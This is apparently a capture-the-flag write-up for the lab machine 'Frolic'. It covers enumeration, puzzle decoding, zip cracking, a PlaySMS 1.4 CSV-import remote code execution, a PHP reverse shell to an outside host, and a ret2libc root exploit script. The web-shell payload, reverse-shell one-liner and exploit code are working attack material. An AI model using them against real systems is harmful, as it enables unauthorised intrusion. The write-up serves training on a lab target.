Today we’re going to solve another CTF machine “Frolic”. It is now a retired box and can be accessible if you’re a VIP member.
Specifications
- Target OS: Linux
- IP Address: 10.10.10.111
- Difficulty: Hard
Contents
- Getting user
- Getting root
Reconnaissance
As always, the first step consists of the reconnaissance phase as port scanning.
Ports Scanning
During this step, we’re gonna identify the target to see what we have behind the IP Address.
nmap -sS -sU -T4 -A -v 10.10.10.111
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (EdDSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
9999/tcp open http nginx 1.10.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
111/udp open|filtered rpcbind
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
1645/udp open|filtered radius
20359/udp open|filtered unknown
31681/udp open|filtered unknown
42577/udp open|filtered unknown
45441/udp open|filtered unknown
58075/udp open|filtered unknown
| Names:
| FROLIC<00> Flags: <unique><active>
| FROLIC<03> Flags: <unique><active>
| FROLIC<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2019-02-23T22:39:17+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-23 18:09:17
|_ start_date: 1601-01-01 00:34:08
We have some interesting ports opened such as, HTTP Nginx web server 9999 let’s take a look.
It’s a default Nginx web page. but there’s a link which hints towards another port.
Enumerate Directories
Since we have two workings links let’s enumerate both and see if we can find something interesting.
dirb http://10.10.10.111:9999 -R
DIRECTORY: http://10.10.10.111:9999/admin/
DIRECTORY: http://10.10.10.111:9999/backup/
DIRECTORY: http://10.10.10.111:9999/dev/
DIRECTORY: http://10.10.10.111:9999/test/
If we navigate to admin directory we can see a login page.
We can either Brute Force, SQLi or enumerate more manually by going through source code and each file.
And we found login creds inside login.js file.
"admin" "superduperlooperpassword_lol"
After login we get a popup saying “Login Successfully” and redirect us to success.html page which contains some encrypted text.
… … … .!!! .?.. … … …?. ?!.?. … … … … … …!.? … … .!!! .?.. … …?.? !.?.. … … …! … … .!.?. … .!!! .!!! ???. ?!.?! !!! !..! … … .!.!! !!! !!! !!!.? … … … …!?! !.?!! !!! !!! ??? .?!.? !!! !!! !!! .?.. … … …! ?!!.? … … … .?.?! .?.. … … …!. !!! !!.?. … .!!! .?.. …?. ?!.?. … …!.? … …!?! !.?!! ??? .?!.? !!! !!!. ?.. … … …!? !!.?! !!! !!! !!! ?.?!. !!! !!! !!.?. … … … .!!! .?.. … … …?. ?!.?. … !.. … …!.! !!! !.!!! !!.. … … …! .?.. … … …! ?!!.? !!! !!! !!! !?.?! .!!! !!! !!! !!! !!! .?.. …! ?!!.? … .?.?! .?.. … …! .?.. … … …!?! !.?.. … … …?.? !.?.. !.?.. … …!?! !.?.. … .?.?! .?.. .!.?. … .!!! .!!! ???. ?!.?! !!! !!! !!.. … …!. ?.. … !!!. !!! ??? .?!.? !!! !!! !!!.? … …!?! !.?!! ??? .?!.? !!!.! !!! !!! !!! !.. … … … !.!.? … … .!!! .!!! !!! !!?.? !.?!! !.?.. … …! ?!!.? … … ?.?!. ?.. … … …!.. … … .!.?. … …!? !!.?! !!! !!?.? !.?!! !!!.? … …!?! !.?!! ??? .?!.? !!! !!.?. … …!? !!.?. … …?.? !.?.. !.!!! !!! !!! !!! !.?.. … …!?! !.?.. … .?.?! .?.. .!.?. … … … .!!! .!!! !!! !!! ???. ?!.?! !!! !!! !!.!! !!! … …!.! !!! !.?.
After doing some Google search I found it’s an Ook binary code.
Decrypted: Nothing here check /asdiSIAJJ0QWE9JAS
We have another directory hint let’s check it out.
http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/
We found encoded Base64 text.
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA
Let’s decode Base64.
nano base64.txt
base64 -d base64.txt > base64
file base64
base64: Zip archive data, at least v2.0 to extract
mv base64 > base64.zip
unzip base64.zip
It asks for password. let’s try brute force.
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt download.zip
PASSWORD FOUND!!!!: pw == password
After extracting we got index.php file. which contains another encoded text.
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
I did Google search for “What type of encoding uses 0-9 a-f ?”
And we found it’s Base16.
Decoded Base16
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
Now, we got Base64 let’s decode.
+++++ +++++ [->++ +++++ +++<] >++++ +.— --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> —<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->—
<]>– .<+++ [->++ +<]>+ .—. <+++[ ->— <]>– ----. <++++ [->++ ++<]>
++…<
That’s a brainfuck language and we can use interpreter to decode this Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online.
Decoded: idkwhatispass
Well i thought i found creds for Node-Red but it didn’t work. So i went back and enumerated another directories.
This is all what we found from /admin directory now let’s take a look at http://10.10.10.111:9999/backup/
After navigating to page we found this text
“password.txt user.txt loop/”
loop/ is another directory inside backup which is 403 forbidden
But we have two text files.
http://10.10.10.111:9999/backup/password.txt
password - imnothuman
http://10.10.10.111:9999/backup/user.txt
user - admin
This is all we got from this backup directory let’s enumerate other directories.
http://10.10.10.111:9999/dev/backup/
As, we navigate through each directory we can see hint for another directory /playsms
http://10.10.10.111:9999/playsms/
We found another CMS. let’s check the creds here which we found earlier.
admin:idkwhatispass
Now, we’re inside!
Post Exploitation
Now, we’re inside CMS. let’s find a way to exploit.
searchsploit playsms
PlaySMS 1.4 - 'import.php' Remote Code Execution
PlaySMS 1.4 - 'sendfromfile.php' Remote Code Execution / Unrestricted File Upload
PlaySMS 1.4 - Remote Code Execution
PlaySms 0.7 - SQL Injection
PlaySms 0.8 - 'index.php' Cross-Site Scripting
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions
PlaySms 0.9.5.2 - Remote File Inclusion
PlaySms 0.9.9.2 - Cross-Site Request Forgery
I was successfully able to test “PlaySMS 1.4 - ‘import.php’ Remote Code Execution”
Myaccount > Phonebook > Import
We have to upload CSV file and through that we can get reverse shell according to exploit walkthrough.
Let’s create a file backdoor.csv put this inside.
cat backdoor.csv
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2,,,
And intercept the request through Burp Suite.
php -r '$sock=fsockopen("10.10.14.7",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
let’s escape restricted shell first.
Privilege Escalation
Let’s take a look.
www-data@frolic:/home$ ls -la
ls -la
total 16
drwxr-xr-x 4 root root 4096 Sep 23 2018 .
drwxr-xr-x 22 root root 4096 Sep 23 2018 ..
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ayush
drwxr-xr-x 7 sahay sahay 4096 Sep 25 02:45 sahay
Let’s take a look inside ayush directory.
www-data@frolic:/home/ayush$ ls -la
ls -la
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 .
drwxr-xr-x 4 root root 4096 Sep 23 2018 ..
-rw------- 1 ayush ayush 2781 Sep 25 02:47 .bash_history
-rw-r--r-- 1 ayush ayush 220 Sep 23 2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23 2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .binary
-rw-r--r-- 1 ayush ayush 655 Sep 23 2018 .profile
-rw------- 1 ayush ayush 965 Sep 25 01:58 .viminfo
-rwxr-xr-x 1 ayush ayush 33 Sep 25 01:58 user.txt
Now, let’s take a look inside sahay directory.
www-data@frolic:/home/sahay$ ls -la
ls -la
total 80
drwxr-xr-x 7 sahay sahay 4096 Sep 25 02:45 .
drwxr-xr-x 4 root root 4096 Sep 23 2018 ..
-rw------- 1 root root 13411 Sep 25 02:47 .bash_history
-rw-r--r-- 1 sahay sahay 220 Sep 23 2018 .bash_logout
-rw-r--r-- 1 sahay sahay 3771 Sep 23 2018 .bashrc
drwx------ 3 sahay sahay 4096 Sep 23 2018 .cache
drwxr-xr-x 3 root root 4096 Sep 23 2018 .config
drwxr-xr-x 3 root root 4096 Sep 23 2018 .local
-rw------- 1 root root 87 Sep 23 2018 .mysql_history
drwxr-xr-x 4 root root 4096 Sep 23 2018 .node-red
drwxr-xr-x 316 sahay sahay 12288 Sep 23 2018 .npm
-rw-r--r-- 1 sahay sahay 655 Sep 23 2018 .profile
-rw-r--r-- 1 sahay sahay 0 Sep 23 2018 .sudo_as_admin_successful
-rw------- 1 root root 6510 Sep 25 02:45 .viminfo
-rw-r--r-- 1 root root 255 Sep 25 01:37 .wget-hsts
There’s lot of things to go through but first let’s start with ayush.
User.txt flag.
www-data@frolic:/home/ayush$ wc -c user.txt
wc -c user.txt
33 user.txt
Let’s go after root now!
Inside .binary directory we can see a rop binary file. which can be executable as root but don’t have read or edit permission. I think that’s our way.
www-data@frolic:/home/ayush/.binary$ ls -la
ls -la
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep 25 02:43 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ..
-rwsr-xr-x 1 root root 7480 Sep 25 00:59 rop
www-data@frolic:/home/ayush/.binary$
Let’s download this file into our local machine first.
base64 -i rop
file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped
chmod +x rop
./rop
[*] Usage: program <message>
Let’s find out the buffer location of this program.
gdb-peda$ pattern_offset 0x41474141
1095188801 found at offset: 52
NX is enabled, and NX means the stack is not executable.
Now let’s find out if ASLR is enabled on the box.
The library address remains the same.
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
This is where the libc code begins in memory when our program is being executed. It’s a part of our binary program which we have access to and let’s find the specific address to system() function.
www-data@frolic:/home/ayush/.binary$ objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "system$"
</.binary$ objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "system$"
0003ada0 g DF .text 00000037 GLIBC_PRIVATE __libc_system
0003ada0 w DF .text 00000037 GLIBC_2.0 system
offset of system() function in libc 0003ada0
Now, we know the offset where system() function is located inside libc but it’s not an static memory address, we have to find an offset of system() during the runtime of the program.
system_address = libc_base_address + system_offset
0xb7e19000 + 0x0003ada0 = 0xb7e53da0
Now, let’s find the exit function address in libc.
www-data@frolic:/home/ayush/.binary$ objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "exit"
</.binary$ objdump -TC /lib/i386-linux-gnu/libc.so.6 | grep "exit"
0002edc0 g DF .text 00000027 GLIBC_2.10 __cxa_at_quick_exit
0002e9d0 g DF .text 0000001f GLIBC_2.0 exit
0002edf0 g DF .text 000000c5 GLIBC_2.18 __cxa_thread_atexit_impl
000b07c8 g DF .text 00000018 GLIBC_2.0 _exit
00115fa0 g DF .text 00000038 GLIBC_2.0 svc_exit
0002eda0 g DF .text 0000001f GLIBC_2.10 quick_exit
0002ebf0 g DF .text 00000055 GLIBC_2.1.3 __cxa_atexit
0011fb80 g DF .text 00000034 (GLIBC_2.0) atexit
001b2204 g DO .data 00000004 GLIBC_2.1 argp_err_exit_status
000f3870 g DF .text 0000003a GLIBC_2.0 pthread_exit
001b2154 g DO .data 00000004 GLIBC_2.0 obstack_exit_failure
0002e9f0 w DF .text 0000004e GLIBC_2.0 on_exit
000f4c80 g DF .text 00000002 GLIBC_2.2 __cyg_profile_func_exit
Here
0002e9d0 g DF .text 0000001f GLIBC_2.0 exit
Now to make our program execuate we have to find the address for /bin/sh in libc.
15ba0b /bin/sh
ippsec exploit.py
import struct
junk = "A" *52
libc = 0xb7e19000
system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)
payload = junk + system + exit + binsh
print payload
Let’s transfer this exploit and run it.
cat exploit.py | base64 -w 0
aW1wb3J0IHN0cnVjdAoKanVuayA9ICJBIiAqNTIKbGliYyA9IDB4YjdlMTkwMDAKc3lzdGVtID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArICAweDAwMDNhZGEwKQpleGl0ID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArIDB4MDAwMmU5ZDApCmJpbnNoID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArIDB4MDAxNWJhMGIpCgpwYXlsb2FkID0ganVuayArIHN5c3RlbSArIGV4aXQgKyBiaW5zaAoKcHJpbnQgcGF5bG9hZAo=
Decode
echo -n aW1wb3J0IHN0cnVjdAoKanVuayA9ICJBIiAqNTIKbGliYyA9IDB4YjdlMTkwMDAKc3lzdGVtID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArICA
weDAwMDNhZGEwKQpleGl0ID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArIDB4MDAwMmU5ZDApCmJpbnNoID0gc3RydWN0LnBhY2soJzxJJywgbGliYyArIDB4MDAxNWJhMGIpCgpwYXlsb2Fk
ID0ganVuayArIHN5c3RlbSArIGV4aXQgKyBiaW5zaAoKcHJpbnQgcGF5bG9hZAo= | base64 -d > exploit.py
Let’s execute the exploit.py
www-data@frolic:/home/ayush/.binary$ ./rop $(python /dev/shm/exploit.py)
# whoami
root